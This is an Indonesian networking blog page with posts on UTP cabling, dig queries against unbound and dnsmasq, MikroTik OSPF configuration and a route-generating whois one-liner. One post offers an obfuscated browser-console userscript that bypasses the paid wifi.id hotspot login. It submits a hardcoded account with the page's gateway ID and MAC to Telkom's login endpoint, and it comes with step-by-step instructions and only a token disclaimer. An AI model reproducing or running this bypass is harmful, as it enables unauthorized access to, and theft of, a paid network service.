Kau bisa bersembunyi dari kesalahanmu, tapi tidak dari penyesalanmu. Kau bisa bermain dengan dramamu, tapi tidak dengan karmamu.

  • About

    Seorang Teknisi Jaringan yang pernah berkecimpung di Internet Service Provider (ISP) dan akhirnya memutuskan diri untuk menjadi freelancer yang berdomisili di Solo, Surakarta Hadiningrat.

  • Services

    Melayani jasa pasang Internet berbasis Wireless maupun Fiber Optic, Jasa Pasang Tower/Pipa, Pointing Wireless, Setting Router, CCTV, Hotspot, Proxy, Web Server, Network Managed dan Monitoring

  • Contact

    Berbagai saran, kritikan, keluhan dan masukan akan sangat berarti bagi saya. Anda dapat menghubungi/whatsapp saya di nomor:08564-212-8686 atau melalui BBM:2128686

    Monday, September 26, 2016

    Sekedar info buat pengetahuan dasar tentang diagram kabel UTP.


    Dijelaskan bahwa ke-delapan kabel itu memiliki fungsi dan tugasnya masing masing. Dimana setiap perangkat yang dikoneksikan melalui perantara kabel membutuhkan TX (Transmit) dan RX (Receive). Normalnya jika hanya beroperasi 10/100Mbps cukup membutuhkan 4 kabel saja.
    Beda halnya jika perangkat itu membutuhkan POWER-DC seperti produk-produk TP-Link, UBNT, Mikrotik, dan lain sebagainya. Maka membutuhkan kabel dc injector. Adapun nama lain komponen penunjang itu adalah Power Over Ethernet atau biasa disebut PoE seperti berikut :


    Friday, September 16, 2016

    Apa itu dig ?
    + dig adalah utility linux untuk me-lookup dns. (Simple nya aja mirip nslookup)
    Bagaimana contoh comand nya ?
    + pada console ketikkan aja misalkan dig google.com nanti muncul seperti ini
    root@pi /home/pi # dig google.com

    ; <<>> DiG 9.9.5-9+deb8u6-Debian <<>> google.com
    ;; global options: +cmd
    ;; Got answer:
    ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 28771
    ;; flags: qr rd ra; QUERY: 1, ANSWER: 16, AUTHORITY: 0, ADDITIONAL: 1

    ;; OPT PSEUDOSECTION:
    ; EDNS: version: 0, flags:; udp: 4096
    ;; QUESTION SECTION:
    ;google.com.                    IN      A

    ;; ANSWER SECTION:
    google.com.             109     IN      A       117.102.117.227
    google.com.             109     IN      A       117.102.117.212
    google.com.             109     IN      A       117.102.117.238
    google.com.             109     IN      A       117.102.117.234
    google.com.             109     IN      A       117.102.117.251
    google.com.             109     IN      A       117.102.117.249
    google.com.             109     IN      A       117.102.117.208
    google.com.             109     IN      A       117.102.117.241
    google.com.             109     IN      A       117.102.117.245
    google.com.             109     IN      A       117.102.117.230
    google.com.             109     IN      A       117.102.117.223
    google.com.             109     IN      A       117.102.117.218
    google.com.             109     IN      A       117.102.117.219
    google.com.             109     IN      A       117.102.117.216
    google.com.             109     IN      A       117.102.117.229
    google.com.             109     IN      A       117.102.117.240

    ;; Query time: 2 msec
    ;; SERVER: 127.0.0.1#53(127.0.0.1)
    ;; WHEN: Fri Sep 16 06:55:41 WIB 2016
    ;; MSG SIZE  rcvd: 295

    Lalu bagaimana jika dalam satu mesin terdapat 2 service DNS Server ?
    + kita tambahkan parameter -p untuk memilih port khusus.

    Mari langsung saja. Di bawah ini saya kasih sampel dalam 1 mesin menggunakan 2 DNS Server yakni unbound dan dnsmasq. Perhatikan yang saya beri warna merah adalah port yang sedang aktif. Jadi walaupun ada 2 Service DNS Server tidak bentrok karena beda port.
    *) catatan : unbound untuk mesin produksi, untuk memilih akamai server suka suka kita. Dan dnsmasq sebenernya include dari pihole untuk mem-blok iklan.


    root@pi /home/pi # netstat -tulpn
    Active Internet connections (only servers)
    Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
    tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      993/mysqld
    tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      662/lighttpd
    tcp        0      0 0.0.0.0:52              0.0.0.0:*               LISTEN      556/dnsmasq
    tcp        0      0 0.0.0.0:53              0.0.0.0:*               LISTEN      1158/unbound
    tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      443/sshd
    tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN      446/inetd
    tcp        0      0 127.0.0.1:953           0.0.0.0:*               LISTEN      1158/unbound
    tcp        0      0 0.0.0.0:8000            0.0.0.0:*               LISTEN      449/sc_serv
    tcp        0      0 0.0.0.0:8001            0.0.0.0:*               LISTEN      449/sc_serv
    tcp6       0      0 :::80                   :::*                    LISTEN      662/lighttpd
    tcp6       0      0 :::52                   :::*                    LISTEN      556/dnsmasq
    tcp6       0      0 :::22                   :::*                    LISTEN      443/sshd
    udp        0      0 27.131.2.1:123          0.0.0.0:*                           510/ntpd
    udp        0      0 127.0.0.1:123           0.0.0.0:*                           510/ntpd
    udp        0      0 0.0.0.0:123             0.0.0.0:*                           510/ntpd
    udp        0      0 0.0.0.0:52              0.0.0.0:*                           556/dnsmasq
    udp        0      0 0.0.0.0:53              0.0.0.0:*                           1158/unbound
    udp6       0      0 fe80::ba27:ebff:fec:123 :::*                                510/ntpd
    udp6       0      0 ::1:123                 :::*                                510/ntpd
    udp6       0      0 :::123                  :::*                                510/ntpd
    udp6       0      0 :::52                   :::*                                556/dnsmasq
    Nah, sudah kelihatan bukan ? disana terdapat 2 service unbound dan dnsmasq dimana port service nya beda. Lalu mari kita pilih mau me-resolve menggunakan unbound (port 53) atau dnsmasq (port 52) dengan cara sbb :

    + Di bawah ini contoh meresolve dengan service unbound

    root@pi /home/pi # dig google.com @127.0.0.1 -p  53

    ; <<>> DiG 9.9.5-9+deb8u6-Debian <<>> google.com @127.0.0.1 -p 53
    ;; global options: +cmd
    ;; Got answer:
    ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 40675
    ;; flags: qr rd ra; QUERY: 1, ANSWER: 16, AUTHORITY: 0, ADDITIONAL: 1

    ;; OPT PSEUDOSECTION:
    ; EDNS: version: 0, flags:; udp: 4096
    ;; QUESTION SECTION:
    ;google.com.                    IN      A

    ;; ANSWER SECTION:
    google.com.             300     IN      A       117.102.117.227
    google.com.             300     IN      A       117.102.117.212
    google.com.             300     IN      A       117.102.117.238
    google.com.             300     IN      A       117.102.117.234
    google.com.             300     IN      A       117.102.117.251
    google.com.             300     IN      A       117.102.117.249
    google.com.             300     IN      A       117.102.117.208
    google.com.             300     IN      A       117.102.117.241
    google.com.             300     IN      A       117.102.117.245
    google.com.             300     IN      A       117.102.117.230
    google.com.             300     IN      A       117.102.117.223
    google.com.             300     IN      A       117.102.117.218
    google.com.             300     IN      A       117.102.117.219
    google.com.             300     IN      A       117.102.117.216
    google.com.             300     IN      A       117.102.117.229
    google.com.             300     IN      A       117.102.117.240

    ;; Query time: 40 msec
    ;; SERVER: 127.0.0.1#53(127.0.0.1)
    ;; WHEN: Fri Sep 16 06:52:30 WIB 2016
    ;; MSG SIZE  rcvd: 295
    + Dan di bawah ini meresolve menggunakan dnsmasq

    root@pi /home/pi # dig google.com @127.0.0.1 -p  52

    ; <<>> DiG 9.9.5-9+deb8u6-Debian <<>> google.com @127.0.0.1 -p 52
    ;; global options: +cmd
    ;; Got answer:
    ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 37094
    ;; flags: qr rd ra; QUERY: 1, ANSWER: 6, AUTHORITY: 0, ADDITIONAL: 1

    ;; OPT PSEUDOSECTION:
    ; EDNS: version: 0, flags:; udp: 512
    ;; QUESTION SECTION:
    ;google.com.                    IN      A

    ;; ANSWER SECTION:
    google.com.             299     IN      A       74.125.68.100
    google.com.             299     IN      A       74.125.68.138
    google.com.             299     IN      A       74.125.68.102
    google.com.             299     IN      A       74.125.68.139
    google.com.             299     IN      A       74.125.68.101
    google.com.             299     IN      A       74.125.68.113

    ;; Query time: 32 msec
    ;; SERVER: 127.0.0.1#52(127.0.0.1)
    ;; WHEN: Fri Sep 16 06:52:31 WIB 2016
    ;; MSG SIZE  rcvd: 135

    Tuesday, August 30, 2016

    Stub adalah jenis type area ospf yang non-standar.
    Di dalam area stub jenis link state update yang masuk hanya LSA type 1,2,3 dan default route, tapi informasi yang dari stub area masih masuk ke secara utuh ke backbone area dan dapat di distribusikan ke area2 yg lain. Di stub area tak bisa redistribusi, jadi ngga ada ASBR.

    Kapan dipakai stub :
    Biasanya stub digunakan untuk router yang terkoneksi langsung dengan end user atau pengguna akhir.
    Karena user biasa tidak perlu tau topologi jaringan ospf kita. Jadi cukup konek ke jaringan dan melakukan aktifitas internet. Itu untuk alasan keamanan yang pertama. Trus yg kedua mengurangi jenis LSA yang harus dikalkulasi. Karena nanti LSA type 4 dan 5 dari area yang lain akan masuk sebagai default route. Gampangnya, router yang diset jenis stub ini contohnya seperti End-User yang terkoneksi di area kita dan disana ada gateway lain.

    Untuk konfigurasinya di menu /routing ospf area

    *) Catatan : ini hanya berlaku bagi end user, backbone area tidak bisa melakukan stub.

    Misalkan di R3 (type stub)
    P2P dengan R3 : 172.16.77.2/29
    Memiliki network :
    10.221.1.0/24
    10.221.2.0/24
    10.221.3.0/24 dst....

    dan pada R2 (type default)
    P2P dengan R3 : 172.16.77.1/29
    P2P dengan R1 : 10.10.27.2/30
    Memiliki network :
    192.168.10.0/24
    192.168.104.0/24
    192.168.105.0/24 dst....

    dan pada R1 (type default)

    P2P dengan R2 : 10.10.27.1/30
    Memiliki network :
    10.10.1.0/29
    10.10.2.0/29
    10.10.3.0/29 dst....

    Jadi gampangnya, pada R1 ini, informasi network yang berada di R2 tetap diterima, akan tetapi, pada R1 tidak tahu network yang ada di R3 begitu pula sebaliknya. R3 tidak tau network yang berada di R1, dia (R-3) hanya tau dalam bentuk default route saja.




    Diketahui

    .
    R1    = ada berbagai ip
        10.10.1.0/29
        10.10.2.0/29 dst...
        = p2p dengan R2
        10.10.27.1/30

    R2    = p2p dengan R1
        10.10.27.2/30
        = ada berbagai ip
        192.168.10.0/24 dst...
        = p2p dengan R3
        172.16.77.1/29

    R3    = p2p dengan R2
        172.16.77.2/29
        = ada berbagai ip
        10.221.1.0/29
        10.221.2.0/29 dst...

    ketiga router menjalankan routing OSPF.

    Kita asumsikan mendistribusikan subnet ip masing masing router (R1-R3)
    Jadi subnet R1 diterima R2 dan diterima R3

    tujuan    : mengetahui bedanya "Redistribusi Conected Routes" menggunakan type 1 dan type 2

    =========
    LETS GO !
    =========

    Pada R1 :
    =========
    /routing ospf instance set router-id=1.1.1.1 default
    /routing ospf area add name=area-1 area-id=0.0.0.50
    /routing ospf network add network=10.10.27.0/29 area=area-1
    /routing ospf instance set redistribute-connected=as-type-1

    Pada R2 :
    =========
    /routing ospf instance set router-id=2.2.2.2 default
    /routing ospf area add name=area-1 area-id=0.0.0.50
    /routing ospf network add network=10.10.27.0/29 area=area-1
    /routing ospf network add network=172.16.77.0/29 area=area-1

    Pada R3 :
    =========
    /routing ospf instance set router-id=3.3.3.3 default
    /routing ospf area add name=area-1 area-id=0.0.0.50
    /routing ospf network add network=172.16.77.0/29 area=area-1

    Maka hasilnya :

    Disana terlihat ada metric ospf yang berubah ketika menggunakan as-type-2.
    Hal ini perlu diperhatikan untuk  mendefinisikan routing terdekat dari network masing masing router. Anda bisa ubah pada menu "/routing ospf interface" yang mengarah ke masing2 router dan anda definisikan cost disana. Defaultnya bernilai 10, anda bisa ubah untuk disesuaikan routing yang didahulukan lewat yang mana dulu. Silahkan eksperimen. Thx.

    Thursday, August 18, 2016

    Tahu wifi.id ? itu tuh layanan hotspot berbayar yang disediakan Telkom. Biasanya di tempat-tempat umum seperti cafe, mall, atau Plasa Telkom sendiri.

    Konsepnya yakni meng-inject halaman login wifi.id sehinga tanpa login bisa internetan :)
    Ok ini sebagai pembelajaran saja. Saya tidak bertangungjawab atas penyalahgunaan script injector berikut ini. Langsung saja.

    Jika menggunakan browser Google Chrome, tekan :
    CTRL + SHIFT + J
    Jika menggunakan browser Mozilla tekan :
    CTRL + SHIFT + K
    Lalu pilih tab console
    masukkan script di bawah ini lalu tekan enter, jika sukses terinjeksi maka akan muncul message box.
    // ==UserScript==
    // @name         @wifi.id login bypasser
    // @namespace    http://www.dxdiag.co.uk
    // @version      3
    // @description  Connect ke wifi.id tanpa login :)
    // @new feature  Auto detect welcome. ex welcome9 welcome2 etc.
    // @author       MrDxdiag
    // @match        http://*.wifi.id/*
    // @downloadURL http://pastebin.com/raw/HmuDQKwF
    // @updateURL   http://pastebin.com/raw/HmuDQKwF
    // @grant        none
    // ==/UserScript==
    /* jshint -W097 */
    'use strict';
    // @wifi.id login by MrDxdiag
    // God Bless Us
    // www.mydxdiag.com
    /*
    * Tutorial sudah banyak di google, tapi hanya script ini yg official
    * mydxdiag.com
    * Semua karya berharga, tolong di hargai pembuatnya.
    * Karya bukan ajang untuk cari nama, tapi untuk berbagi dengan sesama.
    * Lebih baik dikenal daripada terkenal :)
    */
    var _0xa7a5=["\x5C\x5D","\x72\x65\x70\x6C\x61\x63\x65","\x5C\x5B","\x5B\x5C\x3F\x26\x5D","\x3D\x28\x5B\x5E\x26\x23\x5D\x2A\x29","\x73\x65\x61\x72\x63\x68","\x65\x78\x65\x63","","\x20","\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30","\x72\x61\x6E\x64\x6F\x6D","\x6C\x65\x6E\x67\x74\x68","\x66\x6C\x6F\x6F\x72","\x73\x75\x62\x73\x74\x72\x69\x6E\x67","\x2D\x2D\x2D\x2D\x2D\x2D\x5B\x2B\x4D\x72\x44\x78\x64\x69\x61\x67\x2B\x5D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x0A\x20\x5B\x2B\x5D\x20\x40\x77\x69\x66\x69\x2E\x69\x64\x20\x69\x6E\x6A\x65\x63\x74\x6F\x72\x20\x76\x33\x20\x0A\x20\x5B\x2B\x5D\x20\x6D\x79\x64\x78\x64\x69\x61\x67\x2E\x63\x6F\x6D","\x6D\x65\x6C\x6F\x6E\x2E\x6D\x65\x6C\x6F\x6E\x40\x65\x76\x65\x6E\x74","\x67\x77\x5F\x69\x64","\x63\x6C\x69\x65\x6E\x74\x5F\x6D\x61\x63","\x75\x73\x65\x72\x6E\x61\x6D\x65\x3D","\x26\x70\x61\x73\x73\x77\x6F\x72\x64\x3D\x6D\x65\x6C\x6F\x6E\x26\x67\x77\x5F\x69\x64\x3D","\x26\x6D\x61\x63\x3D","\x68\x74\x74\x70\x3A\x2F\x2F\x6D\x79\x64\x78\x64\x69\x61\x67\x2E\x63\x6F\x6D","\x68\x74\x74\x70\x3A\x2F\x2F\x61\x74\x2E\x6D\x79\x64\x78\x64\x69\x61\x67\x2E\x63\x6F\x6D\x2F\x77\x69\x66\x69\x2F","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x65\x6C\x63\x6F\x6D\x65\x32\x2E\x77\x69\x66\x69\x2E\x69\x64\x2F\x61\x75\x74\x68\x6E\x65\x77\x2F\x6C\x6F\x67\x69\x6E\x2F\x63\x68\x65\x63\x6B\x5F\x6C\x6F\x67\x69\x6E\x2E\x70\x68\x70\x3F","\x50\x4F\x53\x54","\x6F\x70\x65\x6E","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x74\x79\x70\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","\x73\x65\x74\x52\x65\x71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x73\x74\x61\x74\x75\x73","\x72\x65\x73\x70\x6F\x6E\x73\x65\x54\x65\x78\x74","\x70\x61\x72\x73\x65","\x72\x65\x73\x75\x6C\x74","\x2D\x2D\x2D\x2D\x2D\x2D\x5B\x2B\x4D\x72\x44\x78\x64\x69\x61\x67\x2B\x5D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x0A\x20\x5B\x2B\x5D\x20\x52\x65\x73\x75\x6C\x74\x20\x3A\x20\x46\x61\x69\x6C\x65\x64\x20\x5B\x2B\x5D","\x2D\x2D\x2D\x2D\x2D\x2D\x5B\x2B\x4D\x72\x44\x78\x64\x69\x61\x67\x2B\x5D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x0A\x20\x50\x6C\x65\x61\x73\x65\x20\x43\x68\x65\x63\x6B\x20\x74\x68\x65\x20\x63\x6F\x6E\x66\x69\x67\x20\x26\x20\x63\x6F\x6E\x74\x61\x63\x74\x20\x6D\x65\x20\x6D\x79\x64\x78\x64\x69\x61\x67\x2E\x63\x6F\x6D","\x2D\x2D\x2D\x2D\x2D\x2D\x5B\x2B\x4D\x72\x44\x78\x64\x69\x61\x67\x2B\x5D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x0A\x20\x5B\x2B\x5D\x20\x52\x65\x73\x75\x6C\x74\x20\x3A\x20\x53\x75\x63\x63\x65\x73\x73\x20\x5B\x2B\x5D","\x2D\x2D\x2D\x2D\x2D\x2D\x5B\x2B\x4D\x72\x44\x78\x64\x69\x61\x67\x2B\x5D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x0A\x20\x5B\x2B\x5D\x20\x45\x6E\x6A\x6F\x79\x20\x74\x68\x65\x20\x72\x65\x61\x6C\x20\x66\x72\x65\x65\x20\x77\x69\x66\x69\x2E\x69\x64\x20\x62\x79\x20\x4D\x72\x44\x78\x64\x69\x61\x67","\x72\x65\x6C\x6F\x61\x64","\x5F\x6E\x65\x77","\x68\x72\x65\x66","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x6D\x79\x64\x78\x64\x69\x61\x67\x2E\x63\x6F\x6D","\x45\x72\x72\x6F\x72","\x73\x65\x6E\x64"];function getParam(_0x64f3x2){_0x64f3x2= _0x64f3x2[_0xa7a5[1]](/[\[]/,_0xa7a5[2])[_0xa7a5[1]](/[\]]/,_0xa7a5[0]);var _0x64f3x3= new RegExp(_0xa7a5[3]+ _0x64f3x2+ _0xa7a5[4]),_0x64f3x4=_0x64f3x3[_0xa7a5[6]](location[_0xa7a5[5]]);return _0x64f3x4=== null?_0xa7a5[7]:decodeURIComponent(_0x64f3x4[1][_0xa7a5[1]](/\+/g,_0xa7a5[8]))}function randomString(_0x64f3x6,_0x64f3x7){_0x64f3x7= _0x64f3x7|| _0xa7a5[9];var randomString=_0xa7a5[7];for(var _0x64f3x8=0;_0x64f3x8< _0x64f3x6;_0x64f3x8++){var _0x64f3x9=Math[_0xa7a5[12]](Math[_0xa7a5[10]]()* _0x64f3x7[_0xa7a5[11]]);randomString+= _0x64f3x7[_0xa7a5[13]](_0x64f3x9,_0x64f3x9+ 1)};return randomString}alert(_0xa7a5[14]);var usr=_0xa7a5[15];var gw_id_dxd=getParam(_0xa7a5[16]);var mac_dxd=getParam(_0xa7a5[17]);var params=_0xa7a5[18]+ usr+ _0xa7a5[19]+ gw_id_dxd+ _0xa7a5[20]+ mac_dxd;var blog=_0xa7a5[21];var check_me=_0xa7a5[22];var url=_0xa7a5[23]+ params;var http= new XMLHttpRequest();http[_0xa7a5[25]](_0xa7a5[24],url,true);http[_0xa7a5[28]](_0xa7a5[26],_0xa7a5[27]);http[_0xa7a5[29]]= function(){if(http[_0xa7a5[30]]== 4&& http[_0xa7a5[31]]== 200){var _0x64f3x12=http[_0xa7a5[32]];obj= JSON[_0xa7a5[33]](_0x64f3x12);var _0x64f3x13=obj[_0xa7a5[34]];var _0x64f3x14=true;if(_0x64f3x13== 0){alert(_0xa7a5[35]);alert(_0xa7a5[36])}else {if(_0x64f3x13== 1){alert(_0xa7a5[37]);alert(_0xa7a5[38]);location[_0xa7a5[39]];window[_0xa7a5[25]](blog,_0xa7a5[40]);location[_0xa7a5[41]]= _0xa7a5[42];window[_0xa7a5[25]](check_me,_0xa7a5[40])}else {if(_0x64f3x13== 2){alert(_0xa7a5[43])}else {alert(_0xa7a5[43])}}}}};http[_0xa7a5[44]](params)

    Thursday, May 12, 2016

    pi@pi:~ $ /usr/bin/whois -h whois.radb.net -- '-i origin AS41690' | awk '/^route:/ {print "/ip route add gateway=10.11.12.13 dst-address=" $2;}' | sort | uniq
    /ip route add gateway=10.11.12.13 dst-address=103.195.32.0/22
    /ip route add gateway=10.11.12.13 dst-address=188.65.120.0/21
    /ip route add gateway=10.11.12.13 dst-address=188.65.120.0/24
    /ip route add gateway=10.11.12.13 dst-address=188.65.122.0/24
    /ip route add gateway=10.11.12.13 dst-address=195.8.214.0/23
    /ip route add gateway=10.11.12.13 dst-address=198.54.200.0/23
    /ip route add gateway=10.11.12.13 dst-address=198.54.200.0/24
    /ip route add gateway=10.11.12.13 dst-address=198.54.201.0/24
    /ip route add gateway=10.11.12.13 dst-address=45.126.164.0/22